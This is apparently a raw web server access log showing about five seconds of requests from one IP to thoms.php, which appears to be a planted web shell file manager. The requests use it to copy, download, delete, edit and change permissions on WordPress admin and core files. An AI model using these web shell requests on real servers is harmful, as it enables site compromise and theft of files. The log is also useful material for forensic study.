45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18953 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11419 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p= HTTP/1.1" 200 12403 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11326 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18993 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=bestjudy.com.tw HTTP/1.1" 200 11797 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22650 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 15424 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p= HTTP/1.1" 200 12405 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19168 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22649 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:30 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 19169 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11329 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /bestjudy.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fprofile.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fprofile.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?del=term.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28761 "http://163.245.207.76:443/thoms.php?del=term.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?del=user-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?chmod=customize.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /bestjudy.com.tw/wp-admin/link-manager.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:31 -0400] "GET /thoms.php?del=erase-personal-data.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 200 12145 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 200 25683 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /bestjudy.com.tw/wp-admin/about.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?chmod=maint&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=maint&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?del=link-manager.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /bestjudy.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /bestjudy.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fimport.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fimport.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupdate.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupdate.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?dl=options-permalink.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?dl=options.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28766 "http://163.245.207.76:443/thoms.php?dl=options.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?dl=ms-themes.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:32 -0400] "GET /thoms.php?dl=widgets.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 200 18581 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?chmod=tools.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fusers.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fusers.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmedia-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmedia-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fpost-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fpost-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 200 16884 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?chmod=custom-background.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?dl=post-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28767 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 200 13038 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?dl=user-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28793 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?del=users.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28759 "http://163.245.207.76:443/thoms.php?del=users.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 200 30502 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-users.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-users.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /bestjudy.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /bestjudy.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?chmod=options-permalink.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 200 18789 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-sites.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-sites.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
